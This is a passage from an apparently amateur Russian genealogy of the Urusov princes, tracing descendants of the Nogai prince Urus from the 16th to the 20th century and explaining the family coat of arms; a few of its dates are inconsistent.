Возможно, далеко не все тезисы работы бесспорны, со многими из них можно не согласиться. Законченной работы не бывает, исследование должно быть продолжено. Важно знать не только настоящее, но и прошлое, чтобы не заблудиться в вечном и безмерном лесу человеческой истории. Ведь не столько само прошлое, сколько именно его связи с настоящим волнуют современников, определяют их отношения к предшествующим поколениям, к результатам их деятельности. Человек не должен относиться отстраненно к собственной истории, и в этом отношении прав А.С.Пушкин:
« Гордиться славою своих предков не только можно, но и должно,
Не уважать о ней есть постыдное малодушие.
Уважение к минувшему – вот черта,
Отличающая образованность от дикости».
Вот таким образом, каждый У р у с о в, должен знать и передавать от старшего к младшему и с т о р и ю своей ф а м и л и и, и с т о р и ю своего р о д а, и с т о р и ю своего н а р о д а.

4.Русские князья Урусовы.


 
Итак, первая ветвь Урусовых – ногайская; фамилию Урусовых не оставила, хотя преемников князя Уруса предостаточно.
Вторая ветвь Урусовых – русская – это князья Урусовы, хорошо освещенные в прилагаемой литературе.
Сыновей у князя Уруса было шесть (по официальной литературе, кроме этого Алта Улышаим), но родоначальников Урусовых было только трое: Кан, Янараслан и Сатый, которые были взяты Москвой в заложники. Все они позже вернулись в Ногайскую орду, оставив в заложниках своих сыновей.

Итак, РОДОНАЧАЛЬНИКОМ РУССКИХ КНЯЗЕЙ У Р У С О В Ы Х
был Урус князь (шестое поколение от Эдигея Мангита), князь Большой Ногайской Орды (1578-1590гг.), 1489 года рождения, имел четыре жены, в 89 лет он начал править НО и целых одиннадцать лет боролся за объединение и независимость ее, удерживая от распада. Его характеристика была рассмотрена раньше, на странице 18. Он погиб в бою (и это в 101 год) с МНО. В одно время погибли и два его сына: Кан в 1588 году и Сатый в 1590 году (в некоторой литературе, наоборот), одновременно с отцом.
У Янараслана жизнь была более насыщенна, прошла в борьбе БНО с МНО, набегами на Россию, соседние племена. Он был владельцем едисанских татар, находившихся под Астраханью, наиболее влиятельной группы ногаев в орде, руководил борьбой за независимость НО, а также участвовал в набегах на Сибирь (1601). В 1613 году захвачен в плен Заруцким, а через год освобожден на Урале Хохловым. После 1614 года след Янараслана исчезает (в плену у русских).
Об остальных сыновьях Уруса, о Байтереке, Касиме и Кобеше данных нет. Сыновья Байтерека (а этого ли Байтерека?) служили Московскому государству и были знаменитыми князьями Байтерековыми (прил.32). И седьмой сын Уруса Алта Улышаим известен только набегами на Тюмень в Сибири (в 65 километрах от Туринска) и походами против МНО в 1602 - 10 годах.
* У Алта Улышаима, возможно, было два сына УРУС князь-младший и Газгом (197в\ 34, 29г\ 156).
ВНУКИ УРУС КНЯЗЯ:
Сыновья КАН-мурзы (прил.31,33):
8.Кумыш (Курмаш) – с 1626 года находился на государственной службе России в Астрахани с 2925 человек из своей орды, оставался магометанином, был в аманате (тюрьма), освобожден в 1644 году. Умер после 1649 года (после этого года в литературе не появляется). Известны его сыновья Ивак, Мертен, Темир, Канбулак, Коль и Дергучья КУРМАШОВЫ Урусовы. Участвовали в жизни БНО, осуществляли набеги на соседние страны, сидели в аманате Астрахани, освобождены в 1644 году (два последних). Курмаш воевал за Москву с Литвой, возглавлял юртовских и астраханских татар, в 1618 году охранял арбатские ворота Москвы, возглавляя 164 человека (145\ 492).
9. Яндань (князь Борис Канмурзинович). Ондон мурза возглавлял астраханское войско против Шереметьева в 1608 году (396*\243). Принял православие, князь, стольник Устюжа с окладом 20 рублей (1611г.), жена Татьяна Петровна Ахамашукова-Черкасская. Умер 14.02.1620 года, не оставив наследства (сыновей), вдова его постриглась в монахи с именем Таисии и умерла в 1646 году. Яндань в 1619 году получил 200+50 рублей и 10 руб. на похороны (?).
10. Бий мурза (князь Петр), принял православие, князь, стольник царя М.Ф.Романова, присутствовал во второй его свадебной поездке в 1626 году. В 1620 году получил 250 рублей на похороны (Яндана?). В 1992 году близ г. Черкесска на родовом кладбище ему поставлен памятник. Жена – Мария.
11. Аслан мурза, 1583-84 года рождения, неизвестные данные. Есть сведения, что он находился вместе с дедом Урусом и соответственно, после смерти последнего ушел в Карачаево (?).
Сыновья Як-Араслана (Янараслана):
12.Урак мурза (князь Петр Янарасланович) был взят вместе с отцом Россией в заложники, крещен в Москве в 1594 году. Был в царской свите царя Федора Ивановича и Бориса Годунова, много участвовал в пирах молодежи, женат на вдове князя А.Н.Шуйского (брат царя В.И.Шуйского) Годуновой Анне Григорьевне. Имел сына Василия (№24), который был комнатным стольником царя Ф.А. Романова, женат на княжне Степаниде Ивановне Репниной, потомства не оставил.
Жизнь Петра Урусова была бурной и активной (с.20-22, 25), она была рассмотрена раньше: - 1607г. – возглавлял отряд по усмирению московской «украйны» по указу царя Василия, грабить и убивать их за измену (вспомним Смуту);
- 1607\09 – сбежал в Астрахань, затем в Крым, служил крымским ханам;
- 1609 – с отрядом юртовских татар занимался грабежами в Подмосковье;
- 1609\ 10 – уходит к полякам под Смоленск;
- 1610 – служба у Лжедмитрия II, его убийство в Калуге;
- 1611 – уход в Крым с 2000 татар;
- 1611\ 39 – служба крымским ханам консультантом по России,
осуществлял набеги на Россию, Польшу,
женитьба на дочери князя Белгородской орды Кантемира;
- 1637 – убийство калга и нурадина Крыма;
- 1639 – убийство Петра Урусова (Урака Янараслановича) крымским ханом Бегадуром Гиреем и двух сыновей Петра (от дочери Кантемира).
13. Зарбек мурза (князь Александр), крещен в Москве в 1594 году, служил вместе с братом Петром, в 1604 году сбежал в Астрахань к отцу, в НО, в1614 году делал набег на Иштерека, князя БНО.
14. Сафук мурза – нет данных.
15. Янсох мурза (князь Иван), стольник, воевода в Устюжине Железнопольской в 1614 году, был в Астраханском аманате, получил 150 рублей оклада в 1620 году. Умер в 1620 (после 1649г) году.
16. Сулеш мурза – нет данных.
17.Бирюч мурза (князь Борис) в 1633 году участвовал в переговорах с калмыками об освобождении едисанских людей, за это был арестован и посажен в астраханский аманат. Умер после 1649 (1633) года.
18. Ботырга мурза (Батырша) сидел в Астраханском аманате (заложником) в 1618, 1623 и 1649 годах (последнее - за убийство сына Иштерека Мамбет мурзы). Служил московскому государству. Сын Аскара (Аксарин) БАТЫРШИН тоже сидел в аманате с оплатой деньгами по 15 алтын 3 деньги, по 2 деньги в день (7б\ 122).
19. Одилша (Адил-шах) – нет данных.

Сыновья Сатый мурзы:
20. Казый мурза – нет данных.
21.Касим мурза, князь Андрей Сатыевич, 1585-1647гг., в 1615 году крещен в Казани, служил Москве, а в 1620 году получал по 200 рублей оклада, записан в московские дворяне в 1627 году. В 1629 году получал оклад 1000 четы (1рубль=7.65чет), денег Устюжской четы 200 рублей. В 1636-1638 годах воевода в Нижнем Новгороде. В Москве дом, поместья на реке Пахре в Дмитриевском уезде. Жена Мария Васильевна Тюменская, княжна.
Андрей Сатыевич – единственный продолжатель в России фамилии князей УРУСОВЫХ.
Известна (Влад.27\30), «девка княжны Ирины, князя Ондреева дочь Урусова», а также сын Семен Андреевич.
22. Алхан мурза – стряпчий при Романовых.
23. Юнум (Юнусь) мурза – стольник при Романовых.
Из других сыновей известны:
* Алей Сатыевич Урусов, остался в НО, возглавлял едисанских ногаев (в 1619г. имел до 1000 человек) после Янараслана. Был на государственной службе у московского государства, ходил в походы с Семеном Пожарским. Сидел в астраханском аманате в 1644 году. Имел сыновей Ислама (7д\ 88), Мамадемина (в1649г. сидел в аманате) (7д\ 94) и Казы (209б\ 55), который возглавлял юртовских татар Астрахани (263\ 653).
Возможное возникновение новой фамилии у ногаев АЛЕЕВЫ (Алиевы) Урусовы.
*Сеюш Сатыевич Урусов – стряпчий, стольник при М.Ф. и А.М. Романовых.
Единственным продолжателем князей Урусовых в России –
РУССКАЯ ВЕТВЬ У Р У С О В Ы Х шла от Касима мурзы, князя Андрея Сатыевича Урусова, внука князя Уруса, князя БНО в VI поколении от Эдигея Мангита, основателя НО.
Эта ветвь продолжается на сегодняшний день (прил.33,34,35).
25. Семен Андреевич (1610-1657), кравчий при М.Ф.Романове (1641-1646гг., оклад - 1300 чети денег (170 рублей)), стольник до 1645 года, дворянин с 1645 года, воевода в Нижнем Новгороде 1645 - 1647 года, по доносу сидел в тюрьме неделю. Боярин с 1655 года, победитель войск Литва-Польша, взяв в плен литовского князя Сапегу, освобождал Смоленск. Семен Андреевич – единственный продолжатель фамилии Урусовых от Касима.
Жена – Феодосия Борисовна, княжна Лыкова (Змеева) – двоюродная сестра А.М..Романова. Умерла в 1693 году. ЦАРСКАЯ ВЕТВЬ УРУСОВЫХ (прил16).
26. Петр Семенович (умер 1686), боярин при Ф.А.Романове с 1676 года, воевода в Смоленске, участник военных походов против Степана Разина (1670). Он, его братья князья, Никита, Юрий и Федор были троюродными братьями царей Российских Федора и Петра Романовых; князь, кравчий с 1677 года. Владел 300 четвертей земли города Переяславль-Залеский (Ярославская область).
Первая жена – Евдокия Прокопьевна Соковнина, родная сестра боярыни Морозовой. За активную деятельность в поддержку протопопа Аввакума, в защиту старой веры, вместе с сестрой была заключена в земляную тюрьму, где и умерла в 1676 году. Надгробная плита с ее могилы сохранилась в Боровске до настоящего времени (Боровский монастырь).
Вторая жена – Строганова Степанида Даниловна, потомства нет.
27. Юрий Семенович (умер после 1720), боярин при Софье Алексеевне с 1683, воевода Мензинский 1683\84 годов, а в 1686 – Киевским, участник Земского собора 1682 года, принявшего решение об отмене местничества, князь.
28. Никита Семенович (около 1640-1692), боярин с 1679 года, воевода в Смоленске, Великом Новгороде, Киеве, Холмогорах, Двине и Архангельске; стольник. При Софье Алексеевне служил ссудным в Москве 1684-1692гг, возглавлял Рейтaрский, Иноземный и Пушкарский приказы; князь. П р о д о л ж а т е л ь р о д а У р у с о в ы х.
Жена Щербатова Евфимия Григорьевна, дочь Мария.
29. Федор Семенович (ум.1694), боярин с 1681 года, воевода в Великом Новгороде (1683-84). С 1692 года начальник Рейтарского, Иноземного и Пушкарского приказов, руководил военными преобразованиями первых лет царствования Петра I.
Жена Фекла Семеновна NN, дочь, княжна Мария (ум.1733), ее муж – князь Борис Иванович Куракин – посол России в Голландии при Петре I.
32. Иван Никитич, стольник царя Петра I, затем капитан Преображенского полка.
Жена Татеева Аграфена Степановна, детей нет. 33. Алексей Никитич, стольник при Петре I, капитан Семеновского полка, воевода в Вятке в 1697 году. Дочь, княжна NN, замужем за Козловским Семеном Михайловичем. 34. Федор Никитич (ум.1722), комнатный стольник царя Петра Алексеевича, капитан Преображенского полка, в 1697 году послан за границу для изучения морского дела и других наук, а в 1704 году находился в Воронеже при постройке кораблей, князь.
Жена Грушецкая Фекла Семеновна (второй муж), потомства нет.
35. Яков Никитич, стольник, капитан Преображенского полка, в 1684 году отказался идти в поход из Звенигорода (ПСЗ, т.2\ 642).
36. Семен Никитич, стольник, капитан Преображенского полка, тайный советник, сенатор 1850 - 57гг. Женa - старшая дочь петровского фельдмаршала Бориса Петровича Шереметьева – графиня Софья Борисовна (1671-1694).
37. Григорий Алексеевич (1680-1743), сенатор и генерал-поручик, кавалер святого Александра Невского. Прошел службу в Преображенском полку до чина полковника при Анне Ивановне, генерал-поручик. Обер-комендант Санкт-Петербурга, губернатор Воронежский, сенатор, князь.
Жена - Нарышкина Софья Николаевна, дочь Софья замужем за Щербатовым Алексеем Ивановичем, дочь Ирина, ее муж Гагарин Алексей Иванович, тайный советник, князь.
38. Василий Алексеевич (ок.1690-1742), известный русский мореплаватель, исследователь Каспия, в 1718 году описал берега Каспийского моря. Участник Персидского похода Петра I, где командовал 3-й эскадрой ластовых судов. Вместе с братьями обучался в Голландии. В 1730 году был советником Адмиралтейств - коллегий, контр-адмирал. В 1733 году заведующий морской Академией и школами. В 1739 году произведен в генерал-поручики и назначен командиром при Оренбургской комиссии. Склонил башкир к присяге на верность Российской империи. Построил укрепленную линию для защиты границы и заложил город Оренбург в новом более удобном месте, князь.
Жена - княжна Долгорукова Прасковья Петровна, дочь Анна (1731-1819), замужем за Зиновьевым Федором Васильевичем, капрал (ум.1763г.).
39. Иван Алексеевич, капитан флота, вместе с братьями обучался в Голландии, командовал фрегатом и 5-й эскадрой ластовых судов на Каспии. Впоследствии – статский советник.
Жена Голицына Анна Андреевна, дочь Ирина, ее муж – князь Щербатов Иван Петрович; дочь –NN, замужем за Зиновьевым.
40. Александр Яковлевич, князь, жена Измайлова Анна Ивановна.
43. Сергей Григорьевич, подполковник, князь.
45. Сергей Васильевич (1725-1787), статский советник, с 1777 года Вологодский губернатор. Похоронен в Александро-Невской лавре, в Петербурге.
47.Александр Васильевич (1729-1813) служил в лейб-гвардии Преображенского полка, генерал-майор, князь. В 1800 году, будучи старшим в роду, получил Высочайшее разрешение на внесение герба рода князей Урусовых в «Общий гербовник». Похоронен на кладбище Донского монастыря.
Жена - Анна Андреевна Муравьева (Волкова), дочь Софья (1779-1801), муж дочери барон, гофмаршал Александр Сергеевич Строганов.
49. Алексей Васильевич (1722-1796), полковник, дочери Анна и Варвара. Жена графиня Шереметьева Екатерина Борисовна (1717-1799).
50. Михаил Васильевич, подполковник, санкт-петербургский князь (228б, 277б\8), жена Алябьева.
51. Петр Васильевич (1733-1819), московский губернский прокурор. В 1776 году получил привилегию на постановку театральных зрелищ с обязательством построить в Москве каменный дом. От созданного им (совместно с Медоксом) театра начинает свою историю Большой театр, князь.
Жена Салтыкова Александра Сергеевна (1743-1799); дочь Вера (1765-1833), ее муж Грузинский Яков Леонович; дочь Прасковья (1767-1841), ее муж тайный советник Киселев Дмитрий Иванович (сын дипломата Киселева П.Д.), дочь Варвара.
54. Александр Александрович (ок.1730 - ?), полковник, известный археолог, почетный член императорской Академии наук и Московского университета. Любитель и знаток отечественных древностей и усердный ревнитель просвещения; он подарил Московскому университету целый музей минералов, монет, мозаики и прекрасную библиотеку, большая часть этого собрания, к сожалению, погибла в пожаре 1812 года.
55. Сергей Васильевич (1728-1755), жена княжна Ирина Даниловна Друцкая (Соколинская). Дочь Варвара (1751-1831), кавалер дама ордена Святой Екатерины, супруга первого русского министра финансов графа Васильева - Шиловского Алексея Ивановича (1742-1807), двоюродная сестра жены генерал-прокурора А.А.Вяземского. Дочь, девица Елизавета (Екатерина) (1747 г.р.), русская писательница (94, Влад. 200).
58. Никита Сергеевич (ок.1760-1806), тайный советник, Ярославский губернатор 1793-97 года. Четыре поколения Урусовых жили и служили в Ярославской губернии. Многие погребены из них в действующем ныне Толгском монастыре. Родовое имение – поместье губернатора Ярославской губернии Никиты было в селе Спасское Ярославского уезда. Там похоронены сын Семен и внук Дмитрий (краеведческий отдел Гаврило - Ямской ЦБС).
60. Василий Алексеевич (ум после 1816 года), генерал-майор, жена Семичева.
61. Александр Михайлович (1767-1853), обер-камергер, член государственного совета, обер-гофмейстер, тайный советник, государственный контролер, кавалер Святого Андрея и Святого Владимира. В 1826 году участвовал в коронации Императора Николая I. Президент Московской дворцовой конторы, член комиссии по постройке храма Христа Спасителя. Сенатор, действительный статский советник, князь. Похоронен на Ваганьковском кладбище (прил.35). Жена Екатерина Павловна Татищева (1768г.р.). Дочь Мария (1801-53), в первом браке за графом Иваном Алексеевичем Мусиным - Пушкиным (1783-1836), во втором – за князем Александром Михайловичем Горчаковым (канцлер).
Дочь София, ее муж князь, генерал-майор Леон Людвигович Радзивиллов.
Дочь Наталья – за графом Ипполитом Павловичем Кутайсовым.
62.Дмитрий Михайлович (1758-1842), князь, майор. Жена Власьева.
63. Владимир Михайлович (1768-1842), жена княжна Вяземская.
65. Александр Петрович (1768-1835), генерал-майор. Участвовал в Отечественной войне 1812 года, командуя бригадой, а затем дивизией. В 1814 году «за ранами уволен от службы с мундиром». Жена Мария Семеновна Пустошкина (ум.1848).
66. Никита Сергеевич, жена Прасковья Степановна Кологривова (Ржевская).
67. Николай Юрьевич (1764-1821), генерал-майор, комендант Астрахани в 1799 году. Жена Ирина Никитична Хитрова (ум.1854), дочь Анастасия, ее муж генерал-майор Сергей Иванович Мальцев.
69.Дмитрий Юрьевич ( ум.ок.1813), статский советник.
70. Иван Юрьевич (ум. ок.1833), действительный статский советник, Ярославский вице-губернатор в 1802-19 годах, жена Анна Ивановна Бем.
72. Сергей Юрьевич (1772-1840), тайный советник, вице - губернатор Санкт - Петербурга в 1812 году, управляющий Коммерческим банком. Жена – Кусовникова.
73. Дмитрий Никитич (ок.1784-?), гвардейский офицер. За дуэль с Д.С.Столыпиным переведен в армию. В 1806 и 1808 годах награжден орденом и золотым оружием с надписью «За храбрость», князь.
74. Семен Никитич (1785-1857), тайный советник, сенатор (1849), член Кабинета Его Величества (1829), Ярославский губернский предводитель дворянства (1830-33), председатель Временного присутствия Департамента Герольдии по проверке прав дворянских фамилий на титулы и внесение в родословные книги.
Дочь Софья (Екатерина) (ум.1882), ее муж Батурин Сергей Герасимович (1789-1856), генерал-лейтенант.
76. Александр Васильевич (1796-1833), генерал-майор.
78. Петр Васильевич (1800-68), вышел в отставку в 1835 году, губернский секретарь.
79. Михаил Дмитриевич (?-1809), моряк.
80. Сергей Дмитриевич (1788-1869), участник Отечественной войны 1812 года, награжден золотой шпагой «За храбрость». С конца 1814 года служил в лейб-гвардии Преображенского полка, генерал-майор, командир бригады, дочери Мария, Екатерина, Вера, Александра, София.
81. Степан Дмитриевич (1794-1852), капитан-лейтенант флота, советник Ярославского губернского правления. Жена Екатерина Александровна Кругликова, дочери Мария 1825 и Софья 1830 г.р, а также сын Владимир 1833 г.р.
82. Петр Дмитриевич (1799-1860), моряк.
83. Николай Дмитриевич (1799-1869), моряк, лейтенант, дочери Софья и Анна.
84.Михаил Владимирович (ум.1869) похоронен с дочерью Анастасией (ум.1880) в Сызрани, в Вознесенском монастыре.
85. Сергей Николаевич (1816-1883), статс-секретарь, сенатор, член государственного совета, управляющий II отделением Собственной Его Императорского Величества канцелярии. Руководил изданием Свода законов. Был действительным членом Русского исторического общества. Удостоился следующей характеристики: «Человек прямой, честнейший и благороднейший…представлял счастливое редкое и замечательное исключение судьи в самом благородном и возвышенном смысле слова». (348\ 87-96).
Жена, княжна Елизавета Петровна Трубецкая (1825-1905).
86. Дмитрий Николаевич (1817-1861), жена Нарышкина Александра Петровна (ум.1880).
87-88. Павел и Николай Дмитриевичи, молодыми погибли в боях в Восточной Пруссии. Им поставлен памятник в Мариенверде.
90. Петр Дмитриевич, офицер, участник обороны Севастополя, где и умер в 1855 году от тифа.
92. Леонид Дмитриевич (1837-85), действительный статский советник, камергер (236б). Тульский вице-губернатор, друг графа Л.Н.Толстого и И.А.Тургенева, перевел трактат Л.Н.Толстого «В чем моя вера?» на французский язык. Его жена М.С.Мальцова была хозяйкой литературного салона в Париже.
93. Владимир Дмитриевич (1838-1903), дворянин, предводитель дворянства, мировой судья в Смоленской губернии Сычевского уезда, действительный статский советник, князь.
94. Юлий Дмитриевич (1840-1919), князь, действительный статский советник МИДа, церемониймейстер, участник коронации Императора Николая II. Тайный советник, шталмейстер (1900), обер-шенк (1915).
95. Александр Дмитриевич (1842-1913), депутат Смоленской губернии Сычевского уезда, церемонтамейстер, д.с.с., князь.
97. Валерий (Валериан) Семенович (1825-?), князь, ротмистр-лейб Кирасирского полка. Жена Неимоева Александра Ивановна.
98. Сергей Семенович (1827-1895), генерал-майор, участник обороны Севастополя, Георгиевский кавалер, командир Полтавского пехотного полка 5 пехотной дивизии, конногвардеец, до 1852 года отставка ротмистром. В 1880-е годы жил в имении Спасское (в 12 верстах от Сергиева Посада) Московской губернии Дмитриевского уезда. Переписывался с Л.Н.Толстым (более 70 писем Л.Н.Толстого к Урусову); прототип князя Касатского в повести Л.Н.Толстого «Отец Сергей».
Жена Нестерова Татьяна Афанасьевна (1829г.р.), дочь Лидия (1853-1869).
99. Дмитрий Семенович (1830-1903), служил в лейб-гвардии Измайловского полка, уволен в отставку полковником. Один из сильнейших шахматистов и организаторов Общества любителей шахматной игры в России («Шахматы» Энциклопедический Словарь с.418). Друг И.А.Тургенева. Действительный статский советник, председатель земской управы Ярославской губернии, общественный деятель.
103. Николай Петрович, статский советник, Владимирский вице-губернатор, церемейстер (69в\ 37).
107. Александр Степанович (1827-98), в 1859 году штабс-капитан в отставке, Ярославский и Нижегородский помещик. Жена Софья Васильевна Зиновьева (1830 г.р.), дочь Екатерина, фрейлина, шлиссельбургская помещица (1855г.р.) (69в\ 46).
109. Сергей Степанович (1835-1862), лейтенант флота.
110. Аполлон Степанович (1837-1919), капитан-лейтенант, участвовал в чине гардемарина, а затем мичмана в плавании фрегата «Диана» на Дальнем Востоке в 1853-55 годах. На гражданской службе – действительный статский советник, камергер. На флоте служил вместе с братьями князьями Александром, Николаем и Сергеем. Последний (1835-62) был участником плавания фрегата «Паллада» в 1852-54 годах с миссией адмирала Путятина в Японию. Дворянин Ярославской губернии Борисоглебского уезда, член общества присутствия хозяйственных дел Святого Синода.
Жена Евросинья Константиновна Адофедес (дочь Адосиди Паши Константинопольского), дочери Мария (1891г.р.) и Екатерина (1893г.р.).
111. Владимир Николаевич (?-1913), действительный статский советник Ярославского уезда Ярославской губернии, князь.
113. Сергей Николаевич (1839-?), генерал-лейтенант. Окончил Морской кадетский корпус. Из флота был переведен в армию, где командовал последовательно батальоном, полком, бригадой.
118. Сергей Леонидович (1872-1948), моряк, после 1905 года дипломат в чине статского советника. Эмигрировал из России в 1920 году.
122. Сергей Дмитриевич (1862-1937), известный общественный и государственный деятель. Бессарабский (1903-1904) и тверской (1904-1905) губернатор, товарищ министра внутренних дел в правительстве Витте и Керенского, депутат 3-й Государственной думы, участник Выборгского воззвания. Автор книги «Записки губернатора» (1907) и «Воспоминания». При Советской власти работал в Госбанке.
Жена Софья Владимировна Лаврова, дочь Вера, а ее дочь – Е.А.Фадеева, дочь Екатерина и ее муж А.А. Лопухин – разоблачитель провокатора Азефа.
124. Дмитрий Дмитриевич (1873-1935), окончил Московский юридический университет, юрист, депутат и товарищ председателя 2-й Госдумы. В 1930 году сослан в Сибирь, где и умер от гангрены, отморозив ноги.
125. Юрий Дмитриевич (1878-1937), окончил Московский университет, юрист. После революции юрист-консультант. В 1935 году репрессирован по Кремлевскому делу и умер в лагере. Жена – дочь известного исторического писателя графа Евгения Андреевича Салиаса, который в свою очередь был по линии матери племянником драматурга Александра Васильевича Сухово-Кобылина. Их имение находилось в селе Новое близ Некоуза Ярославской губернии. Сухово-Кобылины, в свою очередь приходились дальними родственниками известной семьи Мусиных-Пушкиных, с одним из которых связана находка знаменитого «Слово о полку Игореве». Жена Евдокия Евгеньевна, сыновья Никита и Кирилл, а также дочери Евдокия (Эда), народная артистка России, актриса театра им. Ермоловой, находилась в заключении и ссылке с 1938 по 1955 год. Вторая дочь княжна Елена Юрьевна (Раевская), сотрудница Кремлевской библиотеки, репрессирована по Кремлевскому делу (дело Енукидзе) в 1935 году и погибла в заключении. Семья породнена с семьей бывшего Ярославского губернатора Унковского.
126. Александр Дмитриевич (1879-1918), филолог, окончил Петербургский университет. В 1918 году арестован и погиб в тюрьме.
133. Николай Александрович (1857-1930), окончил Пажеский корпус, служил в гусарах, затем в кирасирах, участвовал в русско - турецкой войне 1877-78 годов. Эмигрировал во Францию.
141. Леонид Сергеевич (1901-1970), вместе с родителями и братьями эмигрировал из России, окончил институт в Льеже, был ведущим инженером компании в Вашингтоне. В его доме собиралась русская эмиграция: князья Трубецкие, Татищевы и другие.
142. Иван Сергеевич (1904-1976), во время второй мировой войны сражался во французских войсках и был взят немцами в плен.
144. Дмитрий Сергеевич (1887-1942), погиб в лагере под Павлодаром. Дочь его сестры, княжны Веры Сергеевны, Е.А.Фадеева, народная артистка СССР.
145\146. Сергей (1896-1946) и Николай (1898-1930) Петровичи эмигрировали во Францию.
147. Петр Петрович (1906-1937) погиб в лагере в Томске.
148. Андрей Петрович (1917-1937), арестован НКВД, выслан и расстрелян.
149. Никита Юрьевич (1906-1985), инженер-геодезист. Он и его брат Кирилл не были приняты в университет из-за происхождения. Участвовал в изыскательских работах на Курской магнитной аномалии и гидроэлектростанциях на Кавказе, Урале, в Поволжье и в Сибири.
151. Андрей Александрович (1909-1980), перешел в католичество и вступил в иезуитский орден. Преподавал в католическом университете Фортхам в Нью-Йорке.
152. Сергей Андреевич (1911-1945), служил в иностранном легионе и убит в Тунисе в конце войны.
156. Сергей Леонидович (1934г.р.), член правления и казначей Толстовского фонда, живет в Нью-Йорке, как и его братья и сестры, неоднократно приезжали в Россию.
160. Николай Николаевич (1927г.р.), был одним из наиболее близких сотрудников Главы Российского Императорского Дома Великого князя Владимира Кирилловича. При Великой княгине Марии Владимировне временно исполняет обязанности министра Двора и канцлера Капитула орденов и наград (1995).
161.Сергей Никитич (1946г.р.), инженер-энергетик.
Княжна Н а т а л ь я Н и к и т и ч н а, старшая сестра, преподавательница вуза, хранительница семейного архива и одна из составителей родословия князей Урусовых.
Из потомков князя Александра Михайловича (№61 прил.34 и 35) наиболее известны:
2. Михаил Александрович (1802-1883), князь, генерал от кавалерии, сенатор, Нижегородский губернатор, а затем генерал-губернатором витебским, могилевским и смоленским. Почетный опекун Московского воспитательного дома. Похоронен на Ваганьковском кладбище. Жена Екатерина Петровна Энгельгард, дочь Зинаида.
4. Павел Александрович (1807-86), генерал-майор, командующий 5-м отделением обороны Севастополя, награжден золотой украшенной бриллиантами шпагой с надписью «За храбрость». Похоронен в Александро - Невской лавре в Петербурге.
Жена, Уварова Александра Сергеевна, дочь Елена.
5. Николай Александрович (1808-43), жена Березина (Бороздина) Анастасия Николаевна.
7.Петр Александрович (1810-90), служил в гвардии, камергер, тайный советник, чиновник особых поручений МВД, действительный статский советник. Владелец каменного дома в Санкт-Петербурге. Жена, Сипягина Екатерина Николаевна, симбирская, саратовская и московская помещица, владелица каменного дома в Санкт-Петербурге. Дочери Елизавета (1846гр.) (Платонова), Мария (1849гр.) и София (1853гр.) – писательницы – переводчицы, публиковавшиеся в сборнике «Между нами»; Екатерина (1855гр.)
8. Иван Александрович (1812-71), сослан на Кавказ, где участвуя в боях против горцев, заслужил знак Военного ордена, полковник, князь. Дочери – Ольга и Евгения.
9. Григорий Александрович (1818-1888), майор. Жена Нарышкина Софья Николаевна, 1834г.р.
10. Александр Михайлович (1839-86), жена Лазарева Леонилла Лазаревна.
11. Федор Михайлович (1842-1918), генерал-лейтенант, расстрелян при массовом убийстве офицеров в Кисловодске.
12. Владимир Михайлович (1851-1922), предводитель дворянства Смоленской губернии, тайный советник, гофмейстер, князь. Эмигрировал во Францию.
14. Лев Павлович (1839-1928), посол в Риме, Вене, Париже, действительный тайный советник, гофмейстер, придворный Императорского двора. Похоронен в Нице. Жена - Абаза.
17. Николай Павлович (1846-1902), князь, статский советник, земский начальник Царскосельского уезда; жена, княгиня Елена Павловна, вдова тайного советника Головина.
18. Александр Петрович (1850-1914), кавалерийский офицер, земский начальник Чернского уезда Тульской губернии. Депутат 2-й, 3-й, 4-й Государственных дум, примыкал к правым и националистам.
19. Владимир Петрович (1857-1909), князь, коллежский советник (полковник) совета Московской губернии, Херсонский вице-губернатор. Жена, Гудович Варвара Васильевна, владелица имений Стародубского уезда. Дети: Петр (1888гр.), Варвара (1890гр.) и Екатерина (1891гр.).
20. Сергей Петрович (1859-1915), кавалерийский офицер, участник русско-турецкой войны 1877-1878 годов. На гражданской службе – действительный статский советник (генерал-майор), член совета Государственного конезаводства, автор книги «Книга о лошади».
21. Николай Петрович (1863-1918), шталмейстер, тайный советник (генерал-лейтенант), сенатор, Екатеринославский губернский предводитель. Вице-губернатор Владимирской области. Зарублен при массовом убийстве офицеров в Пятигорске.
22. Александр Иванович (1843-1900), юрист. Известен, как талантливый адвокат и блестящий оратор, выступавший на многих политических процессах (Нечаевское дело в 1871году). Затем, став товарищем прокурора, с большим успехом выступал в качестве обвинителя (дела Гиршакова, Гулака-Артемовского, Юханцева). Известен как театральный критик. Публиковал свои произведения в нескольких периодических изданиях (под псевдонимом Александр Иванов), являясь в статьях и очерках активным сторонником свободы художественного творчества. Был другом А.Ф.Кони и С.А.Андреевского.
27. Михаил Александрович (1872-1914), князь. Жена Елена Павловна Харитоненко, сын.
29. Лев Владимирович (1877 г.р.), находился на дипломатической работе в Гааге.
Таким образом, известно двадцать два поколения рода князей Урусовых от Эдигея, основателя Ногайской Орды и шестнадцать поколений от Урус князя, родоначальника рода князей Урусовых до наших дней.
В начале XVII века часть детей Урус князя забрана заложниками в Москву, где они были крещены в православие и стали служить Московскому государству, имея наследное княжество в России от царя Бориса Годунова, и внесенные в « Общий Гербовник» ч.VI под № I, т.е. в число гербов Российско-княжеских, утвержденных позднее Императором России Александром I от 23.06.1801 года (прил.17).

П р о т о т и п а м и Г Е Р Б О В были изображения всевозможных тотемов и тамг, которые еще в глубокой древности играли роль культовых символов и знаков собственности. Тотемным животным рода Урусовых являлся агнец, запечатленный в шестой части герба на золотом поле. Мотив агнца бытует с давних времен, когда прародители рода Урусовых занимались скотоводством. Золотой цвет поля подчеркивает, что это занятие было основой их благосостояния. Агнец (библейский барашек) наряду с другими домашними животными символизировал богатство предков Урусовского рода. Перед охотой или военным походом этому тотему поклонялись и совершали жертвоприношения. Прообразом тамги прародителей Урусовых являлся лук с направленной вверх стрелой, который изображен в третьей части щита на золотом поле.
Герб Урусовых содержит много геральдических признаков, характеризующих тесные связи этого рода с Востоком. К этим признакам относятся изображения полумесяца, шестиугольных звезд, стрел, лука со стрелами, охотника в татарском одеянии с соколом в правой руке и пр., которые присущи гербам фамилий восточного происхождения.
